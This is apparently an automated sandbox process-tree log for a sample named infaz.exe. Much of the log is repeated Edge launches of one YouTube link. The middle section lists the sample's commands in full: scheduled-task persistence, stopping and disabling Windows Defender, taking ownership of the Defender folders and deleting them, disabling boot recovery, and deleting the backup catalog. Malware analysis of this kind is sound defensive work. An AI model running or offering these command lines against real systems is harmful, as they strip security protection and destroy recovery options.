    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=101 --always-read-main-dll --metrics-shmem-handle=12176,i,3464781351272146072,2574941126922163090,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14392 /prefetch:1
    3⤵
    PID:6236
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=103 --always-read-main-dll --metrics-shmem-handle=4564,i,16946425082607400340,11864102113760370813,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14400 /prefetch:1
    3⤵
    PID:676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=109 --always-read-main-dll --metrics-shmem-handle=12320,i,11235025434588478700,4918147460596107233,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14604 /prefetch:1
    3⤵
    PID:2032
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=114 --always-read-main-dll --metrics-shmem-handle=12452,i,10842973407750533841,10364025871155883209,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14728 /prefetch:1
    3⤵
    PID:3292
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=116 --always-read-main-dll --metrics-shmem-handle=7760,i,4634788383585402683,10515128912941455674,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14768 /prefetch:1
    3⤵
    PID:3756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=115 --always-read-main-dll --metrics-shmem-handle=12460,i,4248208110995292404,2634931918805359763,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14748 /prefetch:1
    3⤵
    PID:1500
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=117 --always-read-main-dll --metrics-shmem-handle=6536,i,10256341864157297660,12011263805373337098,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14788 /prefetch:1
    3⤵
    PID:6484
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=119 --always-read-main-dll --metrics-shmem-handle=6592,i,9446944035980800425,3786610183526892423,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14828 /prefetch:1
    3⤵
    PID:7128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=118 --always-read-main-dll --metrics-shmem-handle=6576,i,1107215831598749283,2283790912371302308,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14808 /prefetch:1
    3⤵
    PID:5976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=121 --always-read-main-dll --metrics-shmem-handle=12508,i,10989429964941530683,10961995335999486175,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14868 /prefetch:1
    3⤵
    PID:4580
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=120 --always-read-main-dll --metrics-shmem-handle=6580,i,9495331075697144149,10643670406531146314,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14848 /prefetch:1
    3⤵
    PID:5444
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=122 --always-read-main-dll --metrics-shmem-handle=6660,i,5544425237104249014,3200108557939138990,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14888 /prefetch:1
    3⤵
    PID:2460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1400
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2924
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2924
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6668
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:10068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:10196
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:10168

C:\Users\Admin\AppData\Local\Temp\infaz.exe
C:\Users\Admin\AppData\Local\Temp\infaz.exe
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\infaz.exe" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\infaz.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop WinDefend >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3660
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:1848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4284
- - C:\Windows\system32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:5924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\ProgramData\Microsoft\Windows Defender" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\Program Files\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Program Files\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Program Files\Windows Defender" >nul 2>&1
  2⤵
  - Drops file in Program Files directory
  - Executes a command shell one-liner
  PID:5892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:6128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3216
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6160
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5884
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6800
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1248
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9876
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:10088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
